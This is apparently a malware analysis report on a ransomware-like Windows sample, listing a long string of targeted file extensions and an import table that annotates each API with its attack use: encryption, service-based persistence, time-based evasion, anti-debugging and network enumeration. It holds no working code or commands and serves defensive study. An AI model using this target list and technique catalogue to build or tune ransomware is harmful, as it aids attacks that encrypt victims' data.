.der.pfx.key.crt.csr.p12.pem.odt.ott.sxw.stw.uot.3ds.max.3dm.ods.ots.sxc.stc.dif.slk.wb2.odp.otp.sxd.std.uop.odg.otg.sxm.mml.lay.lay6.asc.sqlite3.sqlitedb.sql.accdb.mdb.dbf.odb.frm.myd.myi.ibd.mdf.ldf.sln.suo.cpp.pas.asm.cmd.bat.ps1.vbs.dip.dch.sch.brd.jsp.php.asp.java.jar.class.mp3.wav.swf.fla.wmv.mpg.vob.mpeg.asf.avi.mov.mp4.3gp.mkv.3g2.flv.wma.mid.m3u.m4u.djvu.svg.psd.nef.tiff.tif.cgm.raw.gif.png.bmp.jpg.jpeg.vcd.iso.backup.zip.rar.tgz.tar.bak.tbk.bz2.PAQ.ARC.aes.gpg.vmx.vmdk.vdi.sldm.sldx.sti.sxi.602.hwp.snt.onetoc2.dwg.pdf.wk1.wks.123.rtf.csv.txt.vsdx.vsd.edb.eml.msg.ost.pst.potm.potx.ppam.ppsx.ppsm.pps.pot.pptm.pptx.ppt.xltm.xltx.xlc.xlm.xlt.xlw.xlsb.xlsm.xlsx.xls.dotx.dotm.dot.docm.docb.docx.docFull Import Address Table
| Function | DLL | Attack Usage | Description | Docs |
|---|---|---|---|---|
| CryptAcquireContextA | ADVAPI32.dll | Ransomware | CryptAcquireContextA is used to acquire a handle to a particular key container within a particular cryptographic service provider (CSP) | https://docs.microsoft.com/en-us/windows/win32/api/wincrypt/nf-wincrypt-cryptacquirecontexta |
| ioctlsocket | WS2_32.dll | Internet | ioctlsocket takes control of the I/O mode of a socket in any state | https://docs.microsoft.com/en-us/windows/win32/api/winsock/nf-winsock-ioctlsocket |
| InternetOpenA | WININET.dll | Internet | InternetOpenA is used to initialize the use of WinINet functions. | https://docs.microsoft.com/en-us/windows/win32/api/wininet/nf-wininet-internetopenurla |
| InternetOpenUrlA | WININET.dll | Internet | InternetOpenUrlA is used to open a resource specified by a complete FTP or HTTP URL. | https://docs.microsoft.com/en-us/windows/win32/api/wininet/nf-wininet-internetopenurla |
| InternetCloseHandle | WININET.dll | Internet | InternetCloseHandle is used to close an internet handle. | https://docs.microsoft.com/en-us/windows/win32/api/wininet/nf-wininet-internetclosehandle |
| WaitForSingleObject | KERNEL32.dll | InjectionEvasion | WaitForSingleObject is used to delay the execution of an object. This function is commonly used to allow time for shellcode being executed within a thread to run. It is also used for time-based evasion. | https://docs.microsoft.com/en-us/windows/win32/api/synchapi/nf-synchapi-waitforsingleobject |
| GetProcAddress | KERNEL32.dll | InjectionEvasion | GetProcAddress is used to get the memory address of a function in a DLL. This is often used by malware for obfuscation and evasion purposes to avoid having to call the function directly. | https://docs.microsoft.com/en-us/windows/win32/api/libloaderapi/nf-libloaderapi-getprocaddress |
| GetModuleHandleA | KERNEL32.dll | InjectionEvasion | GetModuleHandleW is used to retrieve a module handle for the specified module. The module must have been loaded by the calling process. This function is often used along with GetProcAddress to dynamically retrieve the address of a function for evasion purposes. | https://docs.microsoft.com/en-us/windows/win32/api/libloaderapi/nf-libloaderapi-getmodulehandlea |
| LocalAlloc | KERNEL32.dll | Injection | LocalAlloc is used for heap allocation and manipulation. | https://docs.microsoft.com/en-us/windows/win32/api/winbase/nf-winbase-localalloc |
| GlobalAlloc | KERNEL32.dll | Injection | GlobalAlloc is used to allocate the specified number of bytes from the heap. | https://docs.microsoft.com/en-us/windows/win32/api/winbase/nf-winbase-globalalloc |
| CreateFileA | KERNEL32.dll | Helper | CreateFileA is used to create a new file or opens an existing file. | https://docs.microsoft.com/en-us/windows/win32/api/fileapi/nf-fileapi-createfilea |
| MoveFileExA | KERNEL32.dll | Helper | MoveFileExA is used to move an existing file or a directory, including its children. | https://docs.microsoft.com/en-us/windows/win32/api/winbase/nf-winbase-movefileexa |
| TerminateThread | KERNEL32.dll | Helper | TerminateThread is used to terminate a thread. | https://docs.microsoft.com/en-us/windows/win32/api/processthreadsapi/nf-processthreadsapi-terminatethread |
| FindResourceA | KERNEL32.dll | Helper | FindResourceA is used to find a resource in an executable or loaded DLL. Malware sometimes uses resources to store strings, configuration information, or other malicious files. If you see this function used, check for a .rsrc section in the malware’s PE header. | https://docs.microsoft.com/en-us/windows/win32/api/winbase/nf-winbase-findresourcea |
| GetModuleFileNameA | KERNEL32.dll | Helper | GetModuleFileNameA is used to return the filename of a module that is loaded in the current process. Malware can use this function to modify or copy files in the currently running process. | https://docs.microsoft.com/en-us/windows/win32/api/libloaderapi/nf-libloaderapi-getmodulefilenamea |
| StartServiceCtrlDispatcherA | ADVAPI32.dll | Helper | StartServiceCtrlDispatcherA is used by a service to connect the main thread of the process to the service control manager. | https://docs.microsoft.com/en-us/windows/win32/api/winsvc/nf-winsvc-startservicectrldispatchera |
| OpenSCManagerA | ADVAPI32.dll | Helper | OpenSCManagerA is used to open a handle to the service control manager. This function is commonly used when a malware intends to interact with a service. | https://docs.microsoft.com/en-us/windows/win32/api/winsvc/nf-winsvc-openscmanagera |
| CreateServiceA | ADVAPI32.dll | Helper | CreateServiceA is used to create a service object and adds it to the specified service control manager database. This function is commonly used by malware for persistence. | https://docs.microsoft.com/en-us/windows/win32/api/winsvc/nf-winsvc-createservicea |
| StartServiceA | ADVAPI32.dll | Helper | StartServiceA is used to start a service. | https://docs.microsoft.com/en-us/windows/win32/api/winsvc/nf-winsvc-startservicea |
| OpenServiceA | ADVAPI32.dll | Helper | OpenServiceA is used to open an existing service. | https://docs.microsoft.com/en-us/windows/win32/api/winsvc/nf-winsvc-openservicea |
| LockResource | KERNEL32.dll | EvasionHelper | LockResource is used with FindResource(), LoadResource() and SizeOfResource() usually to work with embedded executables into the .rsrc section (droppers) | https://docs.microsoft.com/en-us/windows/win32/api/libloaderapi/nf-libloaderapi-lockresource |
| Sleep | KERNEL32.dll | EvasionAnti-Debugging | Sleep is used to suspend the execution of the current thread for a set time. This function is commonly used for time-based evasion by adding delays in the code. | https://docs.microsoft.com/en-us/windows/win32/api/synchapi/nf-synchapi-sleep |
| LoadResource | KERNEL32.dll | Evasion | LoadResource is used to load a resource from a PE file into memory. Malware sometimes uses resources to store strings, configuration information, or other malicious files. | https://docs.microsoft.com/en-us/windows/win32/api/libloaderapi/nf-libloaderapi-loadresource |
| GetCurrentThreadId | KERNEL32.dll | Enumeration | GetCurrentThreadId is used to retrieve the thread identifier of the calling thread. | https://docs.microsoft.com/en-us/windows/win32/api/processthreadsapi/nf-processthreadsapi-getcurrentthreadid |
| GetCurrentThread | KERNEL32.dll | Enumeration | GetCurrentThread is used to retrieve a handle for the calling thread. | https://docs.microsoft.com/en-us/windows/win32/api/processthreadsapi/nf-processthreadsapi-getcurrentthread |
| GetAdaptersInfo | iphlpapi.dll | Enumeration | GetAdaptersInfo is used to obtain information about the network adapters on the system. This function is commonly used by malware for enumeration purposes. | https://docs.microsoft.com/en-us/windows/win32/api/iphlpapi/nf-iphlpapi-getadaptersinfo |
| QueryPerformanceFrequency | KERNEL32.dll | Anti-Debugging | QueryPerformanceFrequency is used to retrieve the frequency of the performance counter. This function is commonly used by malware for anti-debugging purposes. The malware will measure the time before and after an operation, if the time exceeds taken expected time, the malware will terminate or activate a benign function. | https://docs.microsoft.com/en-us/windows/win32/api/profileapi/nf-profileapi-queryperformancefrequency |
| QueryPerformanceCounter | KERNEL32.dll | Anti-Debugging | QueryPerformanceCounter is used to retrieve the frequency of the performance counter. This function is commonly used by malware for anti-debugging purposes. The malware will measure the time before and after an operation, if the time exceeds taken expected time, the malware will terminate or activate a benign function. | https://docs.microsoft.com/en-us/windows/win32/api/profileapi/nf-profileapi-queryperformancecounter |
| GetTickCount | KERNEL32.dll | Anti-Debugging | GetTickCount is used to retrieve the number of milliseconds since bootup. This function is used by malware for anti-debugging purposes. | https://docs.microsoft.com/en-us/windows/win32/api/sysinfoapi/nf-sysinfoapi-gettickcount |
| InterlockedIncrement | KERNEL32.dll | |||
| ReadFile | KERNEL32.dll | |||
| GetFileSize | KERNEL32.dll | |||
| SizeofResource | KERNEL32.dll | |||
| GetModuleHandleW | KERNEL32.dll | |||
| ExitProcess | KERNEL32.dll | |||
| LocalFree | KERNEL32.dll | |||
| CloseHandle | KERNEL32.dll | |||
| InterlockedDecrement | KERNEL32.dll | |||
| EnterCriticalSection | KERNEL32.dll | |||
| LeaveCriticalSection | KERNEL32.dll | |||
| InitializeCriticalSection | KERNEL32.dll | |||
| GlobalFree | KERNEL32.dll | |||
| GetStartupInfoA | KERNEL32.dll | |||
| RegisterServiceCtrlHandlerA | ADVAPI32.dll | |||
| ChangeServiceConfig2A | ADVAPI32.dll | |||
| SetServiceStatus | ADVAPI32.dll | |||
| CloseServiceHandle | ADVAPI32.dll | |||
| CryptGenRandom | ADVAPI32.dll | |||
| closesocket | WS2_32.dll | |||
| recv | WS2_32.dll | |||
| send | WS2_32.dll | |||
| htonl | WS2_32.dll | |||
| ntohl | WS2_32.dll | |||
| WSAStartup | WS2_32.dll | |||
| inet_ntoa | WS2_32.dll | |||
| select | WS2_32.dll | |||
| htons | WS2_32.dll | |||
| socket | WS2_32.dll | |||
| connect | WS2_32.dll | |||
| inet_addr | WS2_32.dll | |||
| ??1_Lockit@std@@QAE@XZ | MSVCP60.dll | |||
| ??0_Lockit@std@@QAE@XZ | MSVCP60.dll | |||
| GetPerAdapterInfo | iphlpapi.dll |